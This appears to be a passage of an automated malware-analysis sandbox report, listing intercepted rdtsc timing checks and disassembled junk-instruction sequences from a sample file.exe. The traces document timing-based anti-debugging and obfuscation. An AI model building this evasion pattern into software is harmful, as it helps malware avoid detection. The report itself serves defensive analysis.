                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A87A14 second address: A87AEF instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFD08B7088Dh 0x00000008 jmp 00007EFD08B70887h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007EFD08B70883h 0x00000015 nop 0x00000016 mov dl, AEh 0x00000018 lea eax, dword ptr [ebp+1247C6AFh] 0x0000001e mov dh, cl 0x00000020 sub ecx, dword ptr [ebp+122D2B66h] 0x00000026 nop 0x00000027 pushad 0x00000028 jmp 00007EFD08B7087Bh 0x0000002d pushad 0x0000002e jp 00007EFD08B70876h 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 popad 0x00000037 popad 0x00000038 push eax 0x00000039 push ecx 0x0000003a js 00007EFD08B7087Ch 0x00000040 pop ecx 0x00000041 nop 0x00000042 push 00000000h 0x00000044 push edi 0x00000045 call 00007EFD08B70878h 0x0000004a pop edi 0x0000004b mov dword ptr [esp+04h], edi 0x0000004f add dword ptr [esp+04h], 00000017h 0x00000057 inc edi 0x00000058 push edi 0x00000059 ret 0x0000005a pop edi 0x0000005b ret 0x0000005c mov dword ptr [ebp+122D21DCh], ecx 0x00000062 mov dh, ch 0x00000064 lea eax, dword ptr [ebp+1247C66Bh] 0x0000006a jmp 00007EFD08B7087Eh 0x0000006f push eax 0x00000070 pushad 0x00000071 jmp 00007EFD08B70885h 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007EFD08B70889h 0x0000007d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A87AEF second address: A6CB13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D21DCh], ecx 0x00000010 call dword ptr [ebp+1245E85Ah] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007EFD08D543FEh 0x0000001d jmp 00007EFD08D543FEh 0x00000022 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6CB13 second address: A6CB21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4675 second address: AC4697 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFD08D54404h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007EFD08D543F6h 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4ADE second address: AC4AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007EFD08B70876h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4C7F second address: AC4C95 instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFD08D543F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007EFD08D543FCh 0x00000010 jno 00007EFD08D543F6h 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4C95 second address: AC4C9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4C9B second address: AC4C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4C9F second address: AC4CBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007EFD08B70881h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC7C27 second address: AC7C3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D54400h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC07D second address: ACC081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC081 second address: ACC085 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC1B3 second address: ACC1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC1B9 second address: ACC1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop esi 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC331 second address: ACC33B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC809 second address: ACC80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC80D second address: ACC825 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007EFD08B70883h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC98A second address: ACC990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC990 second address: ACC996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC996 second address: ACC9A0 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFD08D543FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACC9A0 second address: ACC9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACCB21 second address: ACCB29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACCB29 second address: ACCB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACCB2D second address: ACCB37 instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFD08D543F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACCB37 second address: ACCB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACCC9F second address: ACCCBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08D54409h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD06B5 second address: AD06D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08B7087Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ecx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD084E second address: AD085F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08D543FDh 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3817 second address: AD3823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007EFD08B70876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3823 second address: AD382C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD382C second address: AD3832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3832 second address: AD3836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3836 second address: AD383C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD383C second address: AD3848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007EFD08D543F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3848 second address: AD384C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD384C second address: AD3852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3852 second address: AD385B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8BB1 second address: AD8BC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFD08D54401h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8BC7 second address: AD8BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08B70882h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFD08B70885h 0x00000013 jnp 00007EFD08B70876h 0x00000019 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8BFD second address: AD8C0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8C0B second address: AD8C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFD08B70881h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8C25 second address: AD8C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8C29 second address: AD8C33 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFD08B70876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8D6A second address: AD8D92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D543FFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007EFD08D543F8h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 je 00007EFD08D543F6h 0x0000001c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8D92 second address: AD8D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8ED2 second address: AD8F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007EFD08D54406h 0x0000000a push eax 0x0000000b jmp 00007EFD08D54406h 0x00000010 jmp 00007EFD08D54401h 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8F1C second address: AD8F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8F26 second address: AD8F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007EFD08D54405h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD8F40 second address: AD8F45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD90F1 second address: AD9109 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D54402h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD9109 second address: AD910D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD910D second address: AD9111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD9255 second address: AD925B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD925B second address: AD9272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnl 00007EFD08D543F6h 0x0000000e popad 0x0000000f jo 00007EFD08D543FCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8756C second address: A875E8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFD08B7088Bh 0x00000008 jmp 00007EFD08B70885h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007EFD08B7087Ch 0x00000016 push ecx 0x00000017 jmp 00007EFD08B7087Ch 0x0000001c pop ecx 0x0000001d popad 0x0000001e nop 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007EFD08B70878h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 mov edi, dword ptr [ebp+122D2A02h] 0x0000003f push 00000004h 0x00000041 jmp 00007EFD08B70881h 0x00000046 nop 0x00000047 push edi 0x00000048 push eax 0x00000049 push edx 0x0000004a push ecx 0x0000004b pop ecx 0x0000004c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD9653 second address: AD9658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADEBC5 second address: ADEBD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007EFD08B70876h 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADE397 second address: ADE39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADE39B second address: ADE3A5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFD08B70876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADE3A5 second address: ADE3BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007EFD08D54406h 0x0000000c jmp 00007EFD08D543FAh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADE4EB second address: ADE4F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE325C second address: AE3268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE3268 second address: AE3278 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007EFD08B70876h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE3278 second address: AE327E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE327E second address: AE3284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE3284 second address: AE3290 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFD08D543FEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3C410 second address: A3C419 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE941F second address: AE944A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D54408h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007EFD08D543FBh 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE95A7 second address: AE95B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007EFD08B70876h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE9970 second address: AE9992 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D54408h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEA24D second address: AEA279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop ebx 0x0000000d pushad 0x0000000e jl 00007EFD08B70892h 0x00000014 jmp 00007EFD08B70886h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEA279 second address: AEA280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEA280 second address: AEA288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEA886 second address: AEA88A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEA88A second address: AEA890 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEAE83 second address: AEAE9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D543FCh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEAE9C second address: AEAEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEAEA0 second address: AEAEAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D543FAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEB203 second address: AEB207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEF2EB second address: AEF2FC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFD08D543FBh 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEF2FC second address: AEF328 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007EFD08B70889h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007EFD08B70876h 0x00000019 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEF328 second address: AEF346 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFD08D543F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007EFD08D543FCh 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007EFD08D543F6h 0x00000018 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEE6E2 second address: AEE6E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEE6E8 second address: AEE6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEE6EC second address: AEE732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08B70881h 0x00000007 jmp 00007EFD08B7087Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 jnp 00007EFD08B70876h 0x0000001b pop edx 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f jmp 00007EFD08B7087Bh 0x00000024 jp 00007EFD08B70876h 0x0000002a popad 0x0000002b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEE732 second address: AEE737 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEE737 second address: AEE74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFD08B7087Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEE74B second address: AEE74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEEA19 second address: AEEA1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEED3D second address: AEED5C instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFD08D543F6h 0x00000008 jmp 00007EFD08D54402h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEED5C second address: AEED64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A4305D second address: A43086 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D54404h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007EFD08D543FCh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFB9C1 second address: AFB9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007EFD08B70876h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFB9CB second address: AFB9CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
